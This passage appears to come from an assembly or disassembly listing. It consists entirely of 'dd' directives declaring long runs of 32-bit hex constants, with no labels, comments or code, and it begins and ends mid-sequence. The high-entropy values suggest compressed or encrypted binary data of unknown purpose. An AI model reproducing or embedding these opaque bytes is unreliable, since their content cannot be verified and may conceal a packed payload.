6E740456h, 9B810BFDh, 342A196Ch dd 0F00E1608h, 81BD5836h, 41ACE9D6h, 0D9E336Bh, 0D8B0D94Ah dd 581B7A61h, 0FB5B1D89h, 60EC8445h, 76046FAh, 3E0FE64Ah dd 0E5A5B65Fh, 0F2FE7926h, 0C8C71090h, 0B54C9A40h, 51C60BC8h dd 960DB53Dh, 8EBCC1EEh, 3ABEA1D7h, 5BD29FC8h, 0E5EAB856h dd 9F450C04h, 0BA4225EFh, 4868FD90h, 3378BDD8h, 6407F751h dd 14B5DD6h, 0BE092356h, 0F28E665h, 20A215CFh, 1A587EA6h dd 68CA3004h, 37BA7D78h, 79D8B6CFh, 12AF277h, 6812437Ah dd 62AE3458h, 127F4279h, 0AE87DF13h, 0C7B1056h, 0C4028BBBh dd 0F8E96D8Ah, 927056F2h, 6CBA0106h, 7F33A5FCh, 0E90C4201h dd 99AF3ED5h, 98D516F5h, 68B64F7h, 43B8C1h, 0D1F6AEC9h dd 90DFB753h, 5359C99h, 0C01B17BEh, 55CE81C3h, 15303616h dd 6EE3AE01h, 0F46F1346h, 0B801E230h, 0E9727455h, 0D852FF97h dd 0F36240D0h, 68813023h, 0A819C0AEh, 6A2FE9F4h, 55EA53Fh dd 0EB2E94ABh, 5780B2B2h, 39456851h, 5965251Fh, 2169F183h dd 7485E536h, 0B4E9DC53h, 0CCFE590Bh, 52792FDh, 0F5BE52DBh dd 2AEF4089h, 2C4A1C79h, 4D462FE4h, 881E244Fh, 0BCC20BD3h dd 7EC5C344h, 3CE87E58h, 7BEDB8C0h, 0D5A03487h, 0DA2608B7h dd 5E390C40h, 7661A5CBh, 3F831009h, 320BC1C5h, 0B4188CAh dd 0B3AE5912h, 0B20596E9h, 0C1C89FFDh, 0AD0B3DC5h, 10F90CE1h dd 856931D9h, 2135260Eh, 0A3F73080h, 6E0C0503h, 0EB3629E9h dd 85EAC733h, 2927F1A7h, 0C0C44A75h, 82671816h, 60EE92D7h dd 8066E03Ch, 11B0A468h, 333BF2CEh, 4D700820h, 5A526009h dd 2A72061Eh, 1F081EB6h, 0B6003FFBh, 8BF6800Fh, 5A4BF028h dd 0FC96D6F3h, 722C3A09h, 68665205h, 22FB467Fh, 0EC70AC1Fh dd 0D2597EB5h, 464A5772h, 0F4E24CB1h, 0FB09EB22h, 0D177657Ah dd 5EB5E6FAh, 10A3A650h, 7E5F25EDh, 450283F0h, 68C81964h dd 0A19B13FDh, 0C898E31Eh, 9F601172h, 0A197E5D9h, 0D87605A1h dd 9B03105Fh, 0BB5B805Eh, 0B348B926h, 0DE815A11h, 0BE4866C3h dd 0FC054EBDh, 0D6F2F716h, 49E8D678h, 12802B04h, 342513ACh dd 0FEEFEA48h, 78C6B213h, 167B28B6h, 0CDA17FE9h, 31BE2EB0h dd 0C24EC187h, 0E8AC65F4h, 0E04E242Fh, 1B36F380h, 5634011Dh dd 970262BEh, 72A07B5Ch, 584A60CFh, 0EF807DB7h, 0D7F6CB19h dd 0E7E0020Ah, 18D07B49h, 28E1E3E9h, 0E63FC05Bh, 0F6CE0303h dd 0B3F9B450h, 0E490F7C4h, 58B353ACh, 0B7712B7h, 505BDC30h dd 14751E04h, 73F67765h, 117DAAA8h, 18FBE55Ch, 68227B2Dh dd 0DE012C09h, 0B89F0B6Fh, 9EF6D46Eh, 0D6BF7B92h, 495602AEh dd 0B58441C0h, 92ECD1h, 79A9E7BEh, 0F8F18978h, 0BA7F408Ah dd 1C7C5A0Bh, 17B0108h, 0B0DF8E14h, 3016A5EAh, 3B0C2FA9h dd 659BB26h, 296E058Eh, 81EAD94Eh, 7FDD01CCh, 0EE9311F3h dd 0F9621E8Dh, 22EB750h, 0E93A886Eh, 22EC279Dh, 0E8BBB732h dd 0AE98571Bh, 0F9C048F3h, 75525EC6h, 4FB6BE17h, 4985343h dd 62D20C00h, 0E7681D6Bh, 85B34Fh, 18DADE80h, 0DC9DCE29h dd 0BAF0C4FBh, 80871464h, 0C04029A2h, 0BEB5A19Dh, 9965EF0Eh dd 162CB9C0h, 0CBEECFFBh, 0F6680A00h, 6094D421h, 0DC08860Dh dd 0A61B4BDAh, 50C619A4h, 7B407831h, 242849EAh, 10AD1419h dd 2435504Dh, 0D5C4FE2Fh dd 32A0A207h, 3C414ECCh, 6AE8E7C2h, 5848E728h, 6636165Fh dd 97967FBh, 5DA75DDBh, 0A6B09D34h, 0D565774Eh, 0A5D19DAEh dd 96F8E761h, 0E220BB29h, 0B5E408E9h, 6850FCF6h, 346252B6h dd 88DAD33Ah, 492A6851h, 0A32F9159h, 20151475h, 660747DCh dd 535057ADh, 33AEBB51h, 7D51B8E4h, 0D8311F71h, 0C325075Bh dd 9C35C160h, 0E0C1F044h, 517E047Ch, 57EB97Fh, 0BFC8093Eh dd 5848AE59h, 0B9489410h, 9751234h, 62A0F9DCh, 7C0F22B9h dd 8653762Ch, 9A0A408h, 7DDCE3C1h, 3F9ABAC0h, 89744CE4h dd 87247620h, 4A049EDDh, 9A00315h, 0D79FAA07h, 6EC3E520h dd 9F08BFCh, 6202C6D2h, 80D404C8h, 4737CEBEh, 0D14E1E3Ah dd 0C4EE1CE6h, 92B5DA8Fh, 0C0F98974h, 5D8E6809h, 933EAD45h dd 21EE0C3Dh, 100B6982h, 17D441C7h, 0E609EF7Fh, 11866002h dd 0BC89B1E2h, 804E3AA6h, 0E955DBFDh, 53452730h, 64F968D5h dd 0B0856B5Ch, 7C9D520Eh, 3FD66788h, 0D8776C2Fh, 626E758h dd 13121E44h, 0B2BD95C0h, 718A0908h, 480E5C1h, 0BB2188EDh dd 47E95D08h, 0AB581203h, 6C8330D0h, 0BA614A28h, 77F743CCh dd 963C7CDCh, 27DB2116h, 402B550h, 89AE0326h, 0BFCF05D9h dd 4ABE8BCCh, 2DB8D04Dh, 7D2D97DDh, 5B44D601h, 5AE9C3D8h dd 5860A864h, 43309180h, 0B01D5074h, 0D151065Dh, 1CD7011Ah dd 0F626B909h, 0EABE806Bh, 777A1D9Ah, 24E9F060h, 5280C0CAh dd 0C2913561h, 0B7560EFDh, 0C19598BAh, 0C04F02EBh, 8288C3D4h dd 6B2351D7h, 7F7AABFEh, 2CA85834h, 0C49F6EFBh, 33F5979Ah dd 0D746D2CFh, 7202FC33h, 8005EBC0h, 587360E3h, 9221B65Fh dd 8CC7FFEAh, 0AA81C214h, 0C5BB6367h, 5E6B7E25h, 0F552FFE4h dd 0C0EC24EEh, 6C7798F6h, 8C3487B0h, 0DB8117B5h, 8264579Dh dd 4ECDB087h, 0BA85BA74h, 257D14EEh, 3CF3F206h, 0FF2054B2h dd 61B80047h, 0D64487Ch, 0A90F3498h, 0D7E88373h, 95D981E5h dd 0D540FF04h, 0A443EFC0h, 0D9D49529h, 36BE046Bh, 0EA357818h dd 99C2BC19h, 0F96EF6C0h, 7F08A515h, 0CE31058Eh, 7505BB59h dd 8EAE0CAAh, 59592C06h, 6767A25h, 0CE45A4F7h, 37408211h dd 34650BBBh, 0B5D0E605h, 11B0504Ah, 993F179Ch, 11B11Fh dd 0BD61E907h, 8649129Ch, 1F10775Ch, 792B30BFh, 6F0B317Ah dd 484512AFh, 3713A4D3h, 2C0E2A55h, 0F3FF1213h, 0ADA4D60Eh dd 0BF5F4E87h, 0DC6F4D81h, 68827A22h, 28D9753Dh, 53E7DF9Ch dd 5AD08A38h, 0E3D520FBh, 14CC097Bh, 0DD66895Fh, 92EF90Ah dd 17540C50h, 984462h, 3474E5B8h, 1F242E7Ah, 0B40F773h dd 95D5B4EFh, 9E2B4AC2h, 366C0CF5h, 0FEC9B85Eh, 98FA740Ah dd 0EFAFFC09h, 0E1D13E8Bh, 49019EF0h, 0C0DBF181h, 0E06B3884h dd 729F2DBBh, 0A447BDD8h, 34807900h, 0BF8B6AE9h, 172F7446h dd 910CA5Fh, 547062C1h, 0E4FD64B7h, 65B5EAFEh, 973BCD5h dd 0B456EF1h, 42BE1186h, 0A7392BB0h, 9E03B9C0h, 897908ECh dd 0DE28818h, 0F9DD773Dh, 9C5DC37Fh, 5EF910A4h, 11625BDh dd 5591EBD9h, 0E56AC831h, 811F3082h, 3A1E092Ch, 0A4215E8Fh dd 0D990BCE9h, 1203BF57h, 76A305Bh, 446C1D60h, 9199C738h dd 2C0FD343h, 6B5A0B18h, 206F8978h, 56F0BEEEh, 6114CBBh dd 803C1409h, 0C3EB71C0h, 7DFF7F2Dh, 26C234A9h, 50781576h dd 43920968h, 15D54DB8h, 0DAE98522h, 2F5BBFEh, 60454120h dd 0B9CD296Eh, 0F8BDC111h, 39A90407h, 1731F8FFh, 7C94B8F0h dd 89A20250h, 0F49FE9C5h, 421CFC55h, 5B004369h, 14ECCB81h dd 9422AD20h, 93A7EB1Dh, 0E93730FBh, 95923889h, 2769D907h dd 1B55E35h, 0B60172ACh, 28F0B39Dh, 8ABB60F3h, 97CC365Eh dd 1C13E76Ah, 9BB2C805h, 1E955CE9h, 10A8B2EFh, 134ABC68h dd 5760070Eh, 0F77E7147h, 20E621D2h, 6D0CCAE8h, 0E420D95h dd 0EDCC022Dh, 7F96E985h, 0C9C2F574h, 0EF97F10Fh, 6D312218h dd 14BC5F91h, 825E4213h, 0E1F36E82h, 0E66A7FDDh, 0E1DD5A46h dd 3B0E997Bh, 3C7D7089h, 253BC758h, 39CEECBh, 44624EF6h dd 0F449CC7Dh, 1B12E731h, 50AA0DF9h, 0EC4E0800h, 1DDC059Dh dd 0EEA1268h, 14DDBACFh, 0BE09E727h, 7103F07Ch, 0D3B8A0C3h dd 489D01A8h, 48147229h, 0A1372B4h, 9761A473h, 320645Ah dd 7589EB81h, 0F5215F4Fh, 82080471h, 5C520C41h, 738CDA24h dd 48C5E4CFh, 0E6AD31EBh, 0FE8801C7h, 0B7F884FCh, 6682915Eh dd 7A516568h, 0E507676h, 3CE9A8B1h, 0CD12C4D5h, 2DB21659h dd 6E894186h, 4FDD3329h, 0F581C8D4h, 0AD02BF75h, 248BD1FFh dd 9F7C88CBh, 0EDB5E14h, 261D716Fh, 4C6CCA29h, 0B4128DAh dd 5B265E6Ch, 0BFD016EFh, 0A702973Dh, 6960859h, 16786976h dd 0DF21A96Bh, 469EF320h, 56B65516h, 10E4085Ah, 1FF6625h dd 5329FD05h, 3554E92Dh, 0BCF7DD31h, 131BA684h, 0CD883092h dd 0EF485A22h, 81F4A628h, 0A73BBF33h, 4B925C10h, 0FD259AFCh dd 72CB0DECh, 0AF787C41h, 9060965Fh, 5C6C2887h, 0CDACB81h dd 0D3CD6B60h, 36901301h, 92D7E94Dh, 0BAB94881h, 3F37036Dh dd 7938590h, 2F757508h, 7F1251D6h, 6366F975h, 2409AD02h dd 18197668h, 985055D6h, 4CB50960h, 0E85721E5h, 1B85850h dd 910D34A6h, 0FD31062Dh, 0C42AD52Eh, 0CBB6440Fh, 44EB0720h dd 0AFEB8811h, 4740664Eh, 3CEB61F1h, 40579842h, 729F4EE2h dd 0C03DB8F7h, 0FE35402Ch, 5D7B6207h, 0DBA5A627h, 0EA77A7A9h dd 0B8625D96h, 0EE07CE72h, 6F187F54h, 1B7AC660h, 0E9CB1780h dd 5A758230h, 0FF5AB3F4h, 0D7693C73h, 0F62A99E6h, 8B09C55Dh dd 8014653Eh, 8549900Ch, 44C9A022h, 2AEA2E62h, 12081E30h dd 487EA126h, 0BDAAC23Ah, 54B87050h, 4A99EB00h, 39E97BAAh dd 18A0BA4Bh, 449741A1h, 580E77Eh, 8D6850A9h, 3E007C1h dd 0F577CC25h, 7E538773h, 5A8BAB16h, 0B325A2Dh, 0CE87798h dd 7ABDD0A4h, 96D0BC13h, 0F19BA85Ah, 7A34FAE9h, 26D22568h dd 3320E3C6h, 0B0E0971Fh, 0A02DCEAh, 89582155h, 0E9A189D5h dd 0D344FE9Ah, 5D83C8AFh, 8CFAAE4Ah, 0F9D6B644h, 0AB5E23F7h dd 68529143h, 41A3CC4Dh, 36584C1Ah, 6E97F9FDh, 2D01C8C8h dd 1ACD2660h, 5F4C283Fh, 3084514Ch, 0A0685BF5h, 75059A46h dd 0BEC683FFh, 624E7F0Fh, 0D538898Bh, 0FBC16024h, 0E5D924E7h dd 40532B59h, 0E4D4B00h, 2BF23A2h, 38097C14h, 0BAE0D7F7h dd 0E62D0842h, 0C2FD8F1h, 57E94F47h, 59958859h, 0EF736F2Bh dd 0F8081B8Dh, 0A7F26556h, 31D1EEC5h, 4C20FD29h, 9DC9928Dh dd 41EE1027h, 3C9F2342h, 0CB011381h, 7CFCFA01h, 77202A5Ah dd 481472E2h, 460662C4h, 286FEF1Dh, 880E590h, 0F82CE959h dd 0E7BC927Fh, 7DB1F77Eh, 46A7126Eh, 2F02D4Ah, 0EDC620h dd 0E107705h, 18C1352Eh, 2D66620Eh, 1D1982B1h, 102BC155h dd 0C188F651h, 0F75A75CAh, 8740912Eh, 0E70B03A5h, 0B7AA8572h dd 27AC9795h, 0DED6D1D3h, 4B816D78h, 0D1B516EAh, 1413C06Eh dd 0AFB4AF00h, 0BCA7CC80h, 0CAE90B43h, 99B432D8h, 825EC683h dd 7BC7E4F5h, 0FFE8FF6Bh, 0DB67E5E9h, 0EB75DFB3h, 2F1C195h dd 1D1AD764h, 80A2C6DCh, 73131FE2h, 6FBD5043h, 0EF0C165Ah dd 35F36064h, 0FC6DBE17h, 90E2E743h, 0FEB6D223h, 0C506A05Dh dd 0ED4BC011h, 425C5992h, 0D5257AB3h, 0DEAD50C7h, 3DC943DFh dd 79EBDC4Eh, 553160F7h, 41706805h, 7872262h, 8012C614h dd 0EA13BD96h, 40409AD4h dd 49A45E07h, 7EDF8925h, 31D042EFh, 0BEB965D5h, 0FF80E0AFh dd 5854505Ch, 1714F94h, 0E9013302h, 163D6965h, 3407A04Ch dd 0D40EB83Fh, 7A45FC0Dh, 0BE3DE60Fh, 6598035h, 0B7299075h dd 0E3A526C5h, 106FF33Ah, 73801E5Ah, 883DC307h, 8F9F5BD9h dd 0D524DFA5h, 12F3D8ADh, 739B111h, 0E4094E2Eh, 0F100BE50h dd 2041AECEh, 71E59045h, 3AFA304Bh, 8A659B28h, 1AF0C55Eh dd 27AC504Eh, 685C16C4h, 0D60EE82Bh, 10395107h, 0FF9B6367h dd 4D48F9E2h, 580473E7h, 5FE909B7h, 0BE07AFE8h, 0CF17AD7Eh dd 142FD146h, 8BDBF4B5h, 1C553CCBh, 69E7A094h, 35848241h dd 68FED083h, 9BB71D53h, 6F6CF865h, 0E9430B34h, 0B1F47A14h dd 0D7881B87h, 78BDC1A3h, 87142747h, 0F569AFD1h, 0F800D793h dd 51AB2B09h, 0C597E946h, 0C301A3h, 96699FDh, 0B7FC4168h dd 46E9774Eh, 0BE84E085h, 0BCBB6C34h, 5A05851Bh, 5569B3ADh dd 9252358h, 68BCC84Ah, 8C124E11h, 0FE00CAB1h, 885066C6h dd 0E9D0F6F0h, 80581083h, 0F19FDFEEh, 0A58FE918h, 0B99574FBh dd 0FFFA7B89h, 2D2699F6h, 4D0B09h, 8D2F4272h, 0D0017C04h dd 1C68081Ch, 9DE90B14h, 2A05D761h, 9575F1F8h, 923FFB7Ch dd 0B6AB7BF9h, 0FE277B8Fh, 6F10FE42h, 0BF14B525h, 0BB8554Eh dd 0CA310244h, 99A1DE59h, 2B2DFF75h, 5E20A1C8h, 3A2DBA6Fh dd 0BD92CDF8h, 0E440B27Eh, 0B53DF847h, 7936E110h, 249A7F95h dd 7640947Fh, 0C27499EFh, 5C053A05h, 0CD922CFEh, 3F200DE9h dd 0CE2980F1h, 0E53C40B7h, 1355E31h, 21E90680h, 0C0926998h dd 33529135h, 16C5904Fh, 0FB22F03h, 0BA6AC6A7h, 5AD68508h dd 0C38EFB58h, 8D795716h, 0C7B07F43h, 2FE9F853h, 12F58B98h dd 3964DD2Eh, 0B78734BFh, 7C629E51h, 0B359FDBAh, 0B2B050C1h dd 2DE96DD8h, 0D20627Eh, 65133A83h, 0E700ECB1h, 2FF729D6h dd 0F4882DE9h, 98C36FFh, 0C0FE93B0h, 6F06F05Dh, 9BD0ED8h dd 6862AAE9h, 0AE9A235Dh, 0F19F023Ah, 41AA0F7Dh, 0D640A081h dd 0D1A96071h, 4E055A00h, 292D367Bh, 742E7C8h, 1E2B5159h dd 59E46F86h, 77F01A2Fh, 0FBEF64A4h, 3161C2F5h, 801B4B3Bh dd 0EA58A2D2h, 77F607C6h, 0AFD229F0h, 0FDE65F49h, 348B5D16h dd 6E9E39AFh, 0C6B61B18h, 3F50502h, 5D4819E9h, 85328993h dd 5AE79CD6h, 0FEA4BCC2h, 0A9F173BBh, 0E6273415h, 0F0F610AEh dd 0A79342CAh, 98855D97h, 7E415E03h, 3FF29F60h, 0A35AF79Ch dd 1F9301F0h, 7D68C9CCh, 0C8F939Fh, 165AA58h, 0D6C2C559h dd 0FDB86313h, 74586E42h, 56BD7E20h, 39B7C26Eh, 7EC200Fh dd 0F66EF480h, 0BE2FD36Fh, 0A3338E0h, 5140E73Dh, 4A6B0EAAh dd 0E98515A9h, 49CE033Eh, 10A3F209h, 6934E160h, 90383C1Bh dd 220D0C94h, 1D0C4F41h, 19532710h, 82476F1Ch, 5B138948h dd 0E1F8BB9Ch, 0C1E04A9Dh, 0EBE534Ah, 0B5B95B34h, 35CEF82Eh dd 3B1EC9Fh, 575BC281h, 0C0946E7h, 0D5450D70h, 202E150Ah dd 140CD008h, 78685F04h, 431EE6Eh, 8C666D9Ch, 0F348B900h dd 0CB814364h, 60473F2Fh, 1290C383h, 0A0C6E7E8h, 3FE7F7A1h dd 613108F1h, 956C69D1h, 67E2099Eh, 0F630D0A0h, 40970CCFh dd 0B4DF0363h, 0A40F6204h, 28D87955h, 75EF2F93h, 0B82D7AA5h dd 0CAEF4B06h, 32682C9Ah, 66607B26h, 0E87998BAh, 9539ED52h dd 0AD467112h, 0C7CE505Fh, 0F14F360Dh, 0EF207441h, 274AE9h dd 57B8BAB1h, 89BD66E3h, 0D2CD84FFh, 60555EBAh, 0E1AFEA05h dd 49F40FBAh, 0B86C4974h, 55E4A941h, 1F210068h, 0E95D0DF0h dd 38913ED4h, 6913DF3Bh, 0F7058CEAh, 0F65C25F8h, 2E0ADE6Ah dd 30C0CC17h, 0F21FA23h, 20F4EFBEh, 0D2A1E9E4h, 0C5845B2Eh dd 406AE306h, 0D85DE904h, 9BAB4A2Fh, 5B7C1786h, 0AF960EB8h dd 5FE9A7DCh, 0A557BC9Fh, 461658FDh, 4D48F352h, 0D0A14FA2h dd 0F45F3A92h, 77066D85h, 0C2016B25h, 5808814Ah, 8898A32Dh dd 0B8386802h, 8EAF4E30h, 8AEC4A41h, 1352D2A2h, 7737B830h dd 20172CC2h, 681B128Bh, 0AAF716AFh, 5CF5283h, 28F1170Eh dd 0CDDA0955h, 0C9F9D955h, 6A829F90h, 0A4A0F37Dh, 2B12F8FDh dd 22BE313Fh, 0A77FFB8Ch, 26F1F753h, 602B36AFh, 6EEC2D9Ah dd 761C2E2Fh, 120720B9h, 0FADC60E9h, 5B7C5AE7h, 0F7B705F4h dd 0D2DB82DBh, 675B6CE9h, 0EA407AC3h, 0B7E104B6h, 81F728D5h dd 25E52756h, 7AD1D8B8h, 97FEF1BDh, 0C0838347h, 0C18081F7h dd 70CEC155h, 0E7B52AEBh, 0B246156Fh, 44E2800Bh, 40B0B306h dd 963F5426h, 0E7066F41h, 41D96330h, 280E3F50h, 77E38943h dd 82F02F07h, 0C4FD2F66h, 15E925ECh, 0CE084153h, 0D8F70ED4h dd 4B24D04Fh, 0BC89AF4Fh, 177B43Fh, 2768F548h, 0BD567BA4h dd 3085F3A5h, 0AADDAF5Ch, 1A686A00h, 3C30BF36h, 49582264h dd 0D1D3177h, 5160EF29h, 0E95F12FAh, 2A4AB1E6h, 773461AEh dd 7DD82B36h, 2B5E89F6h, 51E0CBE8h, 216B73E9h, 4216D583h dd 0BF51573Eh, 99CFB9E9h, 881631B5h, 9D9D823Bh, 8BE3BCA0h dd 7258F240h, 4B121D6Bh, 0E2A174D3h, 0EA25386Dh, 1D8B027Bh dd 11C777DFh, 66FCCB37h, 0D8F482BEh, 0F2F1F6C3h, 0BD2AD085h dd 0D6681E30h, 0BCED554Eh, 0C6A0AB8Bh, 0C2175DB9h, 0A0C332DEh dd 0B04DD367h, 3D10FEE1h, 0F7973A55h, 236DEEF9h, 0BFC49F30h dd 0C15AC256h, 0AF04514Dh, 5C89C2F8h, 0EB8028D0h, 5E3909CFh dd 41B8F931h, 0C9B9A45Ah, 0B8DE14D2h, 50946F10h, 2A64DFA0h dd 0F0AAC789h, 0EC158FFh, 69C46145h, 4087A83Fh, 7F30E908h dd 0BBC53546h, 10B53B79h, 2232ED0Fh, 9EE9EC21h, 5DB87ADCh dd 46C06882h, 4560FD7Eh, 1A596B16h, 0D41F581h, 685DE603h dd 18550D9Ah, 671955h, 0E0C134F2h, 0EAC6808h, 1A7698BDh dd 0E87D8264h, 88383BBDh, 580ADAFh, 250F7583h, 30F50176h dd 9F5EE966h, 0ECB8E380h, 141F9E1Fh, 33099640h, 0C38930F4h dd 5C522968h, 1BB2324Eh, 41F7CA6Ah, 9025911h, 0BB0F02D7h dd 0D89CC8B6h, 0D5569D05h, 1B9C5519h, 8093A138h, 66D905A7h dd 5512EC27h, 6224B66Ch, 0F1012E64h, 5D866B39h, 689333B8h dd 33CCFB2Eh, 7C3027EDh, 0F51731F7h, 2D00F02Ch, 437FFFFBh dd 3E520168h, 0B9AD4E1Dh, 0ADF12917h, 7F328BDCh, 0E37E990h dd 56056B2Dh, 5D3B3A1Bh, 2D281201h, 30E0F84Bh, 86674AD2h dd 9973D9F9h, 300E09F7h, 5558C5h, 0C6B252F7h, 26C23980h dd 3876CABDh, 495D1EF2h, 34546E78h, 0A512AC74h, 2730AF5Fh dd 1A1A35E1h, 0BE5BA3Dh, 64D28280h, 2592310Ah, 50DA290Ah dd 0DD260BB8h, 842B0803h, 850F467h, 7A60EF5Eh, 27665FC1h dd 0C25502F6h, 72080B62h, 0B5C871EBh, 0D1EBA27Ch, 6A1342A5h dd 2507C67Dh, 0B3AFF3B1h, 0D9C06CE9h, 0B1673B8h, 40A839B5h dd 0B407BB94h, 0B2239AD4h, 780B2DEBh, 0E8E9034h, 41D14B0Fh dd 780D83DFh, 0C3E07099h, 7C2F94D7h, 736AD64Ah, 2B9CCC04h dd 28800D9Fh, 4EB0254Dh, 17F9B8D9h, 52E54453h, 0FA7E522Ah dd 6A863EA3h, 0EE05A933h, 2CFA6C38h, 0FC0E4F82h, 872621Dh dd 0C117F60Ah, 955ACFA4h, 338E0B0Ch, 6F1F4C0Eh, 5DACD7D1h dd 3CAD9861h, 0CAA4436Ch, 36EB3C00h, 0E9652741h, 0B2454B42h dd 8A804A55h, 44073719h, 384FE931h, 30788EF3h, 68896A43h dd 0D2AC5DC8h, 8A1F055Eh, 0B3026549h, 0D571E854h, 0E9213534h dd 0EBA1EA28h, 99EFED3Bh, 0AD010B70h, 0B1643F53h, 0E985D0BEh dd 68B76680h, 0B95B3908h dd 9AFEA75Dh, 1D9EDE49h, 784705ECh, 0F0F112F7h, 0E529E9D1h dd 8708CF7Bh, 5629127Ah, 7E50AE50h, 24EA8098h, 0C4FA2CE0h dd 12BE5E6Eh, 95043D06h, 1E9BF487h, 0D7409375h, 0BE9D5297h dd 0E8050017h, 8C5249F1h, 408CE310h, 0E6975DCFh, 0E1E620BFh dd 0A7685E0Ch, 49702719h, 0DC847BCCh, 7F590932h, 56D59785h dd 0BEBADE1h, 0D7C0ED01h, 0C1582C1Ah, 0EE23A320h, 4BFDFCC7h dd 523DA31Ah, 49925C6h, 97FABEFCh, 0AA6BA27Ch, 0C35A7EDAh dd 0F47F9222h, 0B85C2538h, 0F092F153h, 863E922Fh, 412597E0h dd 2AC74B5h, 0B4EC7184h, 604B1AFh, 177DBD52h, 0CAAE72F6h dd 7A503F6Eh, 0F8B67D4Fh, 1783ED9h, 0A83D6855h, 0CE25D28h dd 277B067Ah, 563ED70Ch, 0BD0A4FF1h, 0C3408C2h, 3A061413h dd 0EC71F72Fh, 0E8790CFBh, 0C1C40145h, 0A94208A2h, 0E1497AA6h dd 3799E106h, 0B383D9Fh, 380AFFFCh, 41B6A5F7h, 0E6BCD852h dd 0E3295613h, 24A6D7F2h, 1EC2B51Ch, 0CBC24EBh, 0E1F33633h dd 0CC278996h, 0BFA020DAh, 780FDB90h, 6B72F807h, 0C58B917Bh dd 4EBFA82Fh, 9CD7CAF2h, 21125CB8h, 0D629FFD0h, 0C4C9B27Fh dd 2822F733h, 4B7F296Ah, 0E9430C62h, 8022823Ch, 0F62FF527h dd 0EE31FD5h, 0FF124DA9h, 0A94B2FB3h, 7FA5DE09h, 0F39740BCh dd 0D98D8AE0h, 977257Bh, 0BFBD4C21h, 0DC4B0C7Ch, 2C870967h dd 8B13C5F5h, 0E4779377h, 308C2003h, 511EB805h, 0DF801B73h dd 0FEAF060Ah, 0BF96400Dh, 2A6FF802h, 77474F10h, 4A847F7Ch dd 3681BA07h, 0C51298A3h, 3ECD585Dh, 2698D529h, 3D681A71h dd 0A56F5BBEh, 0A440A4A7h, 8850E0F2h, 90E3E4D4h, 0EA3425CFh dd 591C757h, 0F8CD2D82h, 778748A1h, 9F8A464Ah, 1861BBD3h dd 8E3A31B6h, 0EA1D1607h, 0D4D607F2h, 67A0FBB8h, 4D882DE9h dd 4157FCA9h, 0DD022939h, 66497450h, 0E4A86701h, 0C48D2EBh dd 92A07DAh, 160599AEh, 5DE9688Eh, 59174895h, 0AB5FD1FDh dd 0E02AFB6Dh, 0C85631CCh, 87542792h, 0F19282DDh, 4AC47A62h dd 0BE278056h, 0CD7EDB18h, 898E039Dh, 85A02CD8h, 83F7A52Bh dd 856688D9h, 55CDDDFEh, 1D9AAE6Dh, 3561AF5Fh, 8102C187h dd 8E1ED2E0h, 4156222Ch, 568A470Bh, 74B1609Dh, 402F2C99h dd 270B0156h, 89D4CD41h, 895A4BD3h, 3AB902D7h, 2E4F93E1h dd 2F7754B2h, 0B1285461h, 0DCF22FECh, 60335790h, 0B9D76F34h dd 0FB2BE231h, 555D0922h, 510BC6C6h, 58700E28h, 0DCFC953Ch dd 58F41D30h, 0FA184BBDh, 31AA545h, 906A3CEAh, 0BAE3444Fh dd 91ABCD17h, 0D158E4DBh, 2FEF610Ch, 0E44CE9C7h, 6780FABEh dd 94F19ECCh, 0DCFB0AEh, 8D083809h, 0ABDE0207h, 0EB560487h dd 0B55EB0F4h, 1F332678h, 0B2AC1018h, 56370B7h, 0F9142FB9h dd 0F4D7F11Bh, 5DB27122h, 2D685F09h, 20A8664Eh, 0BC807536h dd 0A3B912C9h, 30FC2D93h, 934B14E3h, 0E3A4DCBCh, 4DE25FCh dd 94AE5818h, 973DABD1h, 1A44EE2Fh, 16D12E38h, 69CA6EDh dd 55DD1FC3h, 0A45EEB57h, 7E411107h, 0E8B44687h, 754C780h dd 59EB57E3h, 125D9677h, 4576F968h, 622BB3FFh, 7729E583h dd 942D6670h, 72ECF6D0h, 8877C555h, 42246938h, 0FEB013BCh dd 6C1939AFh, 3E91742h, 0A8FA7E08h, 0E5B70F62h, 9AC5F888h dd 0C09BEAFBh, 0CC26A248h, 0E20FCF05h, 0EE285744h, 7EFCC25h dd 9B0128Dh, 3672A2ABh, 31DD1AC0h, 60E916B6h, 5BBA6520h dd 375C2239h, 6094003Fh, 49E91A4Fh, 0DBF6B744h, 5A47DA72h dd 537DC257h, 9F4EC54Ch, 0BBE61393h, 77249E45h, 296825D1h dd 77E812C8h, 39D8F680h, 0C625012Ch, 0A0348C40h, 89D3E92Fh dd 0EF03FF32h, 0AF0216B2h, 6B6568B6h, 0FEFBC401h, 956E9A1Bh dd 70E41CF7h, 67C35B5Ch, 9468643Ch, 0CAD980AAh, 612D320Dh dd 29D80348h, 7271077Ah, 0A3461C78h, 66026374h, 0B72317BDh dd 0A8F842FBh, 0E602AE2Dh, 75035C9Dh, 6429B88Ah, 58660186h dd 42F6D528h, 0C69875E8h, 905EB753h, 0C00E8EBCh, 5ACBF730h dd 0E94165FCh, 680260CFh, 7E140DF6h, 80E32DB4h, 0B151AC91h dd 0EE504EFAh, 0CBBF9DD4h, 0F2CB7611h, 0A4757E3h, 0DCE16992h dd 8888D1EEh, 0D7CB61CAh, 90ED6385h, 0E3814337h, 0E51ADB0Bh dd 2C30560Ch, 0AD4005Ah, 0CB31215Dh, 0B4950CB5h, 52EC4069h dd 575A95ECh, 77C123ECh, 34AB9608h, 844A588Bh, 69EE89AAh dd 0A048A1h, 11C918CAh, 240EF81h, 0E9099D0Fh, 0EE7F2DBFh dd 7010F644h, 9C7D9775h, 1E5C95A3h, 9AF5E0F0h, 0ABC4394Dh dd 1420F4A6h, 257FE7E5h, 8965C96h, 54BFDBFAh, 0B7C60FCh dd 0B58C2F25h, 637799C0h, 5DA1384Ah, 682B027Bh, 40D1538Eh dd 870B9683h, 0FC275FF2h, 0E9CB6174h, 8F785273h, 0B95B9BC5h dd 2552856Eh, 82E9E133h, 0B6B7AB3h, 2F103CE5h, 0A165084h dd 602FD687h, 3060AD03h, 9C0C2321h, 3D0219B0h, 0FA42ED05h dd 2DC24166h, 25C10744h, 0BF000AB6h, 0F4004BDEh, 77CF8154h dd 0BD3E2C60h, 62D0743h, 9DB0D806h, 0AB096BDAh, 5CF29259h dd 0B52D00B8h, 682F405Eh, 18019927h, 2C480AD6h, 0A82F2B81h dd 33921F07h, 0CB05813Eh, 0F84C6638h, 7A12DF0h, 64D87E5Eh dd 0FFB76E47h, 2F1B25C1h, 2CD03131h, 0C0536C1h, 9FB90958h dd 0C07C59BFh, 39F1A396h, 0C969F82Bh, 580AC17Bh, 732DB86Eh dd 8E28010Fh, 2ACBE54Dh, 0E8928BE9h, 